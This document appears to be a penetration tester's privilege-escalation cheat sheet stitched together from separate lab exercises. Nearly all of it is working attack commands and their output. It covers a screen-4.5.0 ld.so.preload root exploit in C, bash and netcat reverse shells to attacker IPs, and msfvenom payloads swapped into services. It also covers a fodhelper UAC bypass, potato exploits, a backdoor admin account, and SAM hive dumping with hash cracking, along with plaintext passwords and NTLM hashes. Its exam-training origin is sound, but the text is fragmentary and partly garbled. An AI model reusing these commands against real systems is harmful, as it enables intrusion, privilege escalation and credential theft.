curl http://192.168.119.168/passwd -o passwd #Victim Machine
cp passwd /etc/passwd #This is where the attack is executed
bash-4.2$ su hacker
su hacker
Password: pass123
[root@pain tmp]# id
id
uid=0(root) gid=0(root) groups=0(root)
https://www.youtube.com/watch?v=RP4hAC96VxQ
https://www.exploit-db.com/exploits/41154
uname -a
Linux example 5.4.0-104-generic #118-Ubuntu SMP Wed Mar 2 19:02:41 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
kali㉿kali)-[/opt/XenSpawn]
└─$ sudo systemd-nspawn -M Machine1
cd /var/lib/machines/Machine1/root
vim libhax.c
cat libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
vim rootshell.c
cat rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
root@Machine1:~# ls
libhax.c rootshell.c
root@Machine1:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c
root@Machine1:~# gcc -o rootshell rootshell.c
cd /tmp
userG@example:/tmp$ wget http://192.168.45.208:80/rootshell
userG@example:/tmp$ wget http://192.168.45.208:80/libhax.so
chmod +x rootshell
chmod +x libhax.so
userG@example:/$ /tmp/rootshell
/tmp/rootshell
$ id
id
uid=1000(userG) gid=1000(userG) groups=1000(userG)
userG@example:/$ cd /etc
userG@example:/etc$ umask 000
userG@example:/etc$ screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
userG@example:/etc$ ls -l ld.so.preload
userG@example:/etc$ screen-4.5.0 -ls
userG@example:/etc$ /tmp/rootshell
/tmp/rootshell
# id
id
uid=0(root) gid=0(root) groups=0(root)
useradm@mailman:~/scripts$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * root /home/useradm/scripts/cleanup.sh > /dev/null 2>&1
echo " " > cleanup.sh
echo '#!/bin/bash' > cleanup.sh
echo 'bash -i >& /dev/tcp/192.168.119.168/636 0>&1' >> cleanup.sh
nc -nlvp 636 #wait 5 minutes
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/5 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
msfvenom -p linux/x64/shell_reverse_tcp -f elf -o shell LHOST=<$your IP> LPORT=21 #Transfer over to /tmp/shell
chloe@roquefort:/$ cp /tmp/shell /usr/local/bin/run-parts
cp /tmp/shell /usr/local/bin/run-parts
nc -nlvp 21
listening on [any] 21 ...
connect to [192.168.45.191] from (UNKNOWN) [192.168.214.67] 41624
id
uid=0(root) gid=0(root) groups=0(root)
[marcus@catto ~]$ ls -la
total 24
drwx------ 6 marcus marcus 201 May 28 22:20 .
drwxr-xr-x. 3 root root 20 Nov 25 2020 ..
-rw-r--r-- 1 root root 29 Nov 25 2020 .bash
-rw------- 1 marcus marcus 0 Apr 14 2021 .bash_history
-rw-r--r-- 1 marcus marcus 18 Nov 8 2019 .bash_logout
-rw-r--r-- 1 marcus marcus 141 Nov 8 2019 .bash_profile
-rw-r--r-- 1 marcus marcus 312 Nov 8 2019 .bashrc
-rwxrwxr-x 1 marcus marcus 194 May 28 22:18 boot_success
drwx------ 4 marcus marcus 39 Nov 25 2020 .config
drwxr-xr-x 6 marcus marcus 328 Nov 25 2020 gatsby-blog-starter
drwx------ 3 marcus marcus 69 May 28 22:06 .gnupg
-rw------- 1 marcus marcus 33 May 28 21:49 local.txt
drwxrwxr-x 4 marcus marcus 69 Nov 25 2020 .npm
[marcus@catto ~]$ cat .bash
F2jJDWaNin8pdk93RLzkdOTr60==
[marcus@catto ~]$ base64key F2jJDWaNin8pdk93RLzkdOTr60== WallAskCharacter305 1
SortMentionLeast269
[marcus@catto ~]$ su
Password:
[root@catto marcus]# id
uid=0(root) gid=0(root) groups=0(root)
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md #Last Resort
C:\Backup>type info.txt
type info.txt
Run every 5 minutes:
C:\Backup\TFTP.EXE -i 192.168.234.57 get backup.txt
C:\Backup>icacls TFTP.EXE
icacls TFTP.EXE
TFTP.EXE BUILTIN\Users:(I)(F)
BUILTIN\Admins:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\Authenticated Users:(I)(M)
BUILTIN\Users: The built-in "Users" group has "Full Control" (F) and "Inherit" (I) permissions on the file.
BUILTIN\Admins: The built-in "Admins" group has "Full Control" (F) and "Inherit" (I) permissions on the file.
NT AUTHORITY\SYSTEM: The "SYSTEM" account has "Full Control" (F) and "Inherit" (I) permissions on the file.
NT AUTHORITY\Authenticated Users: Authenticated users have "Modify" (M) and "Inherit" (I) permissions on the file.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.165 LPORT=80 -f exe -o TFTP.EXE #Replace the original file and wait for a shell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
PS C:\Windows\System32> reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
zachary REG_SZ "&('C:\Program Files\PuTTY\plink.exe') -pw 'Th3R@tC@tch3r' [email protected] 'df -h'"
C:\>systeminfo
systeminfo
Host Name: USERB
OS Name: Microsoft Windows XP Professional
OS Version: 5.1.2600 Service Pack 1 Build 2600
https://sohvaxus.github.io/content/winxp-sp1-privesc.html
unzip Accesschk.zip
ftp> binary
200 Type set to I.
ftp> put accesschk.exe
local: accesschk.exe remote: accesschk.exe
https://web.archive.org/web/20071007120748if_/http://download.sysinternals.com/Files/Accesschk.zip
accesschk.exe /accepteula -uwcqv "Authenticated Users" * #command
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
accesschk.exe /accepteula -ucqv upnphost #command
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Admins
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS
sc qc upnphost #command
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : NT AUTHORITY\LocalService
sc query SSDPSRV #command
SERVICE_NAME: SSDPSRV
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
sc config SSDPSRV start= auto #command
[SC] ChangeServiceConfig SUCCESS
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe -nv 192.168.119.140 443 -e C:\WINDOWS\System32\cmd.exe" #command
[SC] ChangeServiceConfig SUCCESS
sc config upnphost obj= ".\LocalSystem" password= "" #command
[SC] ChangeServiceConfig SUCCESS
sc qc upnphost #command
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Inetpub\wwwroot\nc.exe -nv 192.168.119.140 443 -e C:\WINDOWS\System32\cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : LocalSystem
nc -nlvp 443 #on your kali machine
net start upnphost #Last command to get shell
Sometime our shell can die quick, try to connect right away with nc.exe binary to another nc -nlvp listner
nc -nlvp 80
C:\Inetpub\wwwroot\nc.exe -nv 192.168.119.140 80 -e C:\WINDOWS\System32\cmd.exe #command
(UNKNOWN) [192.168.119.140] 80 (?) open
UAC can be bypassed in various ways. In this first example, we will demonstrate a technique that allows an Admin user to bypass UAC by silently elevating our integrity level from medium to high. As we will soon demonstrate, the fodhelper.exe509 binary runs as high integrity on Windows 10 1709. We can leverage this to bypass UAC because of the way fodhelper interacts with the Windows Registry. More specifically, it interacts with registry keys that can be modified without administrative privileges. We will attempt to find and modify these registry keys in order to run a command of our choosing with high integrity. Its important to check the system arch of your reverse shell.
whoami /groups #check your integrity level/to get high integrity level to be able to run mimikatz and grab those hashes
C:\Windows\System32\fodhelper.exe #32 bit
C:\Windows\SysNative\fodhelper.exe #64 bit
Launch Powershell and run the following
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Users\ted\shell.exe" -Force
run fodhelper setup and nc shell and check your priority
C:\Windows\System32\fodhelper.exe
whoami /groups
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command #victim machine
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ #victim machine
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.140 LPORT=80 -f exe -o shell.exe #on your kali
certutil -urlcache -split -f http://192.168.119.140:80/shell.exe C:\Windows\Tasks\backup.exe #victim machine
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Tasks\backup.exe" /f #victim machine
nc -nlvp 80 #on your kali
C:\Windows\system32>fodhelper.exe #victim machine
whoami /groups
Mandatory Label\High Mandatory Level Label S-1-16-12288
typically this exploit will require manual enumeration. I was able to find a directory called C:\backup\Scripts\<vulnerable script>
C:\backup\Scripts>dir /q
dir /q
Volume in drive C has no label.
Volume Serial Number is 7C9E-C9E6
Directory of C:\backup\Scripts
04/15/2023 07:20 PM <DIR> JAMES\jess .
04/15/2023 07:20 PM <DIR> JAMES\jess ..
04/15/2023 07:20 PM 0 JAMES\jess '
04/15/2023 07:29 PM 782 BUILTIN\Admins backup_perl.pl
05/02/2019 05:34 AM 229 BUILTIN\Admins backup_powershell.ps1
05/02/2019 05:31 AM 394 BUILTIN\Admins backup_python.py
4 File(s) 1,405 bytes
2 Dir(s) 4,792,877,056 bytes free
type backup_perl.pl
#!/usr/bin/perl
use File::Copy;
my $dir = 'C:\Users\Admin\Work';
# Print the current user
system('whoami');
opendir(DIR, $dir) or die $!;
while (my $file = readdir(DIR)) {
# We only want files
next unless (-f "$dir/$file");
$filename = "C:\\Users\\Admin\\Work\\$file";
$output = "C:\\backup\\perl\\$file";
copy($filename, $output);
}
closedir(DIR);
$time = localtime(time);
$log = "Backup performed using Perl at: $time\n";
open($FH, '>>', "C:\\backup\\JamesWork\\log.txt") or die $!;
print $FH $log;
close($FH);
#!/usr/bin/perl
use File::Copy;
my $dir = 'C:\Users\Admin\Work';
# Get the current user
my $user = `whoami`;
chomp $user;
# Print the current user to the console
print "Current user: $user\n";
opendir(DIR, $dir) or die $!;
while (my $file = readdir(DIR)) {
# We only want files
next unless (-f "$dir/$file");
$filename = "C:\\Users\\Admin\\Work\\$file";
$output = "C:\\backup\\perl\\$file";
copy($filename, $output);
}
closedir(DIR);
$time = localtime(time);
$log = "Backup performed using Perl at: $time\n";
$log .= "Current user: $user\n";
open($FH, '>>', "C:\\backup\\JamesWork\\log.txt") or die $!;
print $FH $log;
close($FH);
Current user: jess\Admin
Backup performed using Python at : 2023-04-15T19:28:41.597000
Backup performed using Python at : 2023-04-15T19:31:41.606000
Backup performed using Python at : 2023-04-15T19:34:41.661000
use the msfvenom shell you used to get initial access to elevate privs with this script
#!/usr/bin/perl
use File::Copy;
my $dir = 'C:\Users\Admin\Work';
# Get the current user
my $user = `whoami`;
chomp $user;
# Print the current user to the console
print "Current user: $user\n";
# Execute cmd /c C:\\Users\jess\Desktop\shell.exe
exec('cmd /c C:\\Users\jess\\Desktop\\shell.exe');
opendir(DIR, $dir) or die $!;
while (my $file = readdir(DIR)) {
# We only want files
next unless (-f "$dir/$file");
$filename = "C:\\Users\\Admin\\Work\\$file";
$output = "C:\\backup\\perl\\$file";
copy($filename, $output);
}
closedir(DIR);
$time = localtime(time);
$log = "Backup performed using Perl at: $time\n";
$log .= "Current user: $user\n";
open($FH, '>>', "C:\\backup\\JamesWork\\log.txt") or die $!;
print $FH $log;
close($FH);
nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.119.184] from (UNKNOWN) [10.11.1.252] 10209
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
jess\Admin
auditTracker(auditTracker)[C:\DevelopmentExecutables\auditTracker.exe] - Autoload
File Permissions: Everyone [AllAccess], Authenticated Users [WriteData/CreateFiles]
Possible DLL Hijacking in binary folder: C:\DevelopmentExectuables (Everyone [AllAccess], Authenticated Users [WriteData/CreateFiles])
icacls auditTracker.exe
auditTracker.exe Everyone:(I)(F)
BUILTIN\Admins:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\USERS:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.138 LPORT=443 -f exe -o auditTracker.exe
*Evil-WinRM* PS C:\DevelopmentExecutables> cerutil -urlcache -split -f http://192.168.119.138:80/auditTracker.exe
*Evil-WinRM* PS C:\DevelopmentExecutables>sc.exe start audtiTracker
nc -nlvp 443
Another interesting attack vector that can lead to privilege escalation on Windows operating systems revolves around unquoted service paths.1 We can use this attack when we have write permissions to a service's main directory and subdirectories but cannot replace files within them. Please note that this section of the module will not be reproducible on your dedicated client. However, you will be able to use this technique on various hosts inside the lab environment.
As we have seen in the previous section, each Windows service maps to an executable file that will be run when the service is started. Most of the time, services that accompany third party software are stored under the C:\Program Files directory, which contains a space character in its name. This can potentially be turned into an opportunity for a privilege escalation attack.
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v """
In this example we see than ZenHelpDesk is in program files as discussed before and has an unqouted path.
C:\Users\ted>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v """
mysql mysql C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql Auto
ZenHelpDesk Service1 C:\program files\zen\zen services\zen.exe Auto
C:\Users\ted>
check our permission and chech which part of the path you have write access to.
dir /Q
dir /Q /S
C:\Program Files\Zen>dir /q
Volume in drive C has no label.
Volume Serial Number is 3A47-4458
Directory of C:\Program Files\Zen
02/15/2021 02:00 PM <DIR> BUILTIN\Admins .
02/15/2021 02:00 PM <DIR> NT SERVICE\TrustedInsta..
02/10/2021 02:24 PM <DIR> BUILTIN\Admins Zen Services
03/10/2023 12:05 PM 7,168 EXAM\ted zen.exe
1 File(s) 7,168 bytes
3 Dir(s) 4,013,879,296 bytes free
Next we want to create a msfvenom file for a reverse shell and upload it to the folder where we have privledges over a file to write to. Start your netcat listner and check to see if you have shutdown privledges
sc stop "Some vulnerable service" #if you have permission proceed below
sc start "Some vulnerable service"#if the above worked then start the service again
sc qc "Some vulnerable service" #if the above failed check the privledges above "SERVICE_START_NAME"
whoami /priv #if the above failed check to see if you have shutdown privledges
shutdown /r /t 0 #wait for a shell to comeback
https://juggernaut-sec.com/unquoted-service-paths/#:~:text=Enumerating%20Unquoted%20Service%20Paths%20by%20Downloading%20and%20Executing,bottom%20of%20the%20script%3A%20echo%20%27Invoke-AllChecks%27%20%3E%3E%20PowerUp.ps1 # follow this
cp /opt/PowerUp/PowerUp.ps1 .
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName
Name DisplayName StartMode PathName
---- ----------- --------- --------
LSM LSM Unknown
NetSetupSvc NetSetupSvc Unknown
postgresql-9.2 postgresql-9.2 - PostgreSQL Server 9.2 Auto C:/exacqVisionEsm/PostgreSQL/9.2/bin/pg_ctl.exe ...
RemoteMouseService RemoteMouseService Auto C:\Program Files (x86)\Remote Mouse\RemoteMouseS...
solrJetty solrJetty Auto C:\exacqVisionEsm\apache_solr/apache-solr\script...
move "C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe" "C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe.bak"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.140 LPORT=80 -f exe -o shell.exe
Invoke-exampleRequest -Uri "http://192.168.119.140:8000/shell.exe" -OutFile "C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe"
get-service *exac*
stop-service ESMexampleService*
start-service ESMexampleService*
nc -nlvp 80
shutdown /r /t 0 /f #sometimes it takes a minute or two...
net user hacker password /add
net localgroup Admins hacker /add
net localgroup "Remote Desktop Users" hacker /add
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
net users #check the new user
impacket-secretsdump hacker:password@<IP of victim machine> -outputfile hashes
rdekstop -u hacker -p password <IP of victim machine>
windows + R #Windows and R key at the same time
[cmd.exe] # enter exe file you want in the prompt
C:\Windows\System32\cmd.exe #or find the file in the file system and run it as Admin
[right click and run as Admin]
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.119.138 LPORT=1337 EXITFUNC=thread -f exe --platform windows -o rshell.exe
cp /opt/juicyPotato/JuicyPotatoNG.exe .
PS C:\Windows\Temp> .\JuicyPotatoNG.exe -t * -p C:\\Windows\\Temp\\rshell.exe
.\JuicyPotatoNG.exe -t * -p C:\\Windows\\Temp\\rshell.exe
JuicyPotatoNG
by decoder_it & splinter_code
[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247
[+] authresult success {854A20FB-2D44-457D-992F-EF13785D2B51};NT AUTHORITY\SYSTEM;Impersonation
[+] CreateProcessAsUser OK
[+] Exploit successful!
nc -nlvp 1337
listening on [any] 1337 ...
connect to [192.168.119.138] from (UNKNOWN) [192.168.138.248] 52803
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.
C:\>whoami
whoami
nt authority\system
whoami /priv
git clone https://github.com/dievus/printspoofer.git #copy over to victim
PrintSpoofer.exe -i -c cmd
c:\inetpub\wwwroot>PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
System Type: x64-based PC
Using credentials that we wound for USERC we were able to psexec.py on my kali machine using chisel to USERCs Account as she has higher privledges then my current user. Locally we were being blocked with psexec.exe by AV so this was our work around.
proxychains psexec.py USERC:[email protected] cmd.exe
C:\HFS>whoami
whoami
USERL\USERL
C:\Users\USERL\Desktop>net user USERL
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
C:\Users\USERL\Desktop>net users
net users
User accounts for \\USERL
-------------------------------------------------------------------------------
Admin USERC USERL
Guest
The command completed successfully
C:\Users\USERL\Desktop>net user USERC
Local Group Memberships *Admins
Global Group memberships *None
The command completed successfully.
https://github.com/brianlam38/OSCP-2022/blob/main/cheatsheet-active-directory.md#AD-Lateral-Movement-1
nmap -p80 --min-rate 1000 10.11.1.20-24 #looking for initial foothold
nmap -p88 --min-rate 1000 10.11.1.20-24 #looking for DC
impacket-GetADUsers -dc-ip 192.168.214.122 "exampleH.example/" -all
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Querying 192.168.214.122 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Guest <never> <never>
rplacidi 2020-11-04 00:35:05.106274 <never>
opatry 2020-11-04 00:35:05.216273 <never>
ltaunton 2020-11-04 00:35:05.264272 <never>
acostello 2020-11-04 00:35:05.315273 <never>
jsparwell 2020-11-04 00:35:05.377272 <never>
oknee 2020-11-04 00:35:05.433274 <never>
jmckendry 2020-11-04 00:35:05.492273 <never>
avictoria 2020-11-04 00:35:05.545279 <never>
jfrarey 2020-11-04 00:35:05.603273 <never>
eaburrow 2020-11-04 00:35:05.652273 <never>
cluddy 2020-11-04 00:35:05.703274 <never>
agitthouse 2020-11-04 00:35:05.760273 <never>
fmcsorley 2020-11-04 00:35:05.815275 2021-02-16 08:39:34.483491
impacket-GetADUsers -dc-ip 192.168.214.122 exampleH.example/fmcsorley:CrabSharkJellyfish192 -all
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Querying 192.168.214.122 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Admin 2023-05-19 17:01:26.839372 2020-11-04 00:58:40.654236
Guest <never> <never>
krbtgt 2020-11-04 00:26:23.099902 <never>
USERA 2020-11-04 00:35:05.106274 <never>
USERB 2020-11-04 00:35:05.216273 <never>
USERC 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.264272 <never>
USERD 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.315273 <never>
jUSERE 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.377272 <never>
USERF 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.433274 <never>
USERG 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.492273 <never>
USERG 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.545279 <never>
USERH 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.603273 <never>
USERI 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.652273 <never>
USERJ 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.703274 <never>
USERK 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.760273 <never>
USERL 2020-11-04 00:35:05.216273 <never> 2020-11-04 00:35:05.815275 2021-02-16 08:39:34.483491
domainadmin 2021-02-16 00:24:22.190351 2023-05-19 16:58:10.073764
/opt/BloodHound.py/bloodhound.py -d exampleH.example -u fmcsorley -p CrabSharkJellyfish192 -c all -ns 192.168.214.122
INFO: Found AD domain: exampleH.example
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (exampleH.example:88)] [Errno 111] Connection refused
INFO: Connecting to LDAP server: exampleHdc.exampleH.example
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: exampleHdc.exampleH.example
INFO: Found 18 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: exampleHdc.exampleH.example
INFO: Done in 00M 12S
arp -a #look for IPs that your victim is connected
ipconfig #look for a dual victim machine, typically two $IPs shown
net users #Local users
net users /domain #All users on Domain
net users jeff /domain #Queury for more infromation on each user
net group /domain #Enumerate all groups on the domain
net group "Music Department" / domain #Enumerating specific domain group for members
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\USERD\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction
tree /f C:\Users\ #look for interesting files, backups etc.
whoami /all #BUILTIN\Admins
reg save hklm\security c:\security
reg save hklm\sam c:\sam
reg save hklm\system c:\system
copy C:\sam z:\loot
copy c:\security z:\loot
c:\system z:\loot
*Evil-WinRM* PS C:\windows.old\Windows\system32> download SAM
*Evil-WinRM* PS C:\windows.old\Windows\system32> download SYSTEM
/opt/impacket/examples/secretsdump.py -sam sam -security security -system system LOCAL
samdump2 SYSTEM SAM
*disabled* Admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
tom_admin:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
:1004:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
creddump7
creddump7 - Python tool to extract credentials and secrets from Windows registry hives
/usr/share/creddump7
├── cachedump.py
├── framework
├── lsadump.py
├── pwdump.py
└── __pycache_
./pwdump.py /home/kali/Documents/example/exampleA/10.10.124.142/loot/SYSTEM /home/kali/Documents/example/exampleA/10.10.124.142/loot/SAM
Admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:acbb9b77c62fdd8fe5976148a933177a:::
tom_admin:1001:aad3b435b51404eeaad3b435b51404ee:4979d69d4ca66955c075c41cf45f24dc:::
Cheyanne.Adams:1002:aad3b435b51404eeaad3b435b51404ee:b3930e99899cb55b4aefef9a7021ffd0:::
David.Rhys:1003:aad3b435b51404eeaad3b435b51404ee:9ac088de348444c71dba2dca92127c11:::
Mark.Chetty:1004:aad3b435b51404eeaad3b435b51404ee:92903f280e5c5f3cab018bd91b94c771:::
https://crackstation.net/
hashcat -m <load the hash mode> hash.txt /usr/share/wordlists/rockyou.txt
impacket-secretsdump Admin:'password'@$IP -outputfile hashes
https://crackstation.net/
hashcat -m <load the hash mode> hash.txt /usr/share/wordlists/rockyou.txt
$DCC2$10240#username#hash
$DCC2$10240#Admin#a7c5480e8c1ef0ffec54e99275e6e0f7
$DCC2$10240#luke#cd21be418f01f5591ac8df1fdeaa54b6
$DCC2$10240#warren#b82706aff8acf56b6c325a6c2d8c338a
$DCC2$10240#jess#464f388c3fe52a0fa0a6c8926d62059c
hashcat -m 2100 hashes.txt /usr/share/wordlists/rockyou.txt
This hash does not allow pass-the-hash style attacks, and instead requires Password Cracking to recover the plaintext password
PS C:\> (Get-PSReadlineOption).HistorySavePath
C:\Users\USERA\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
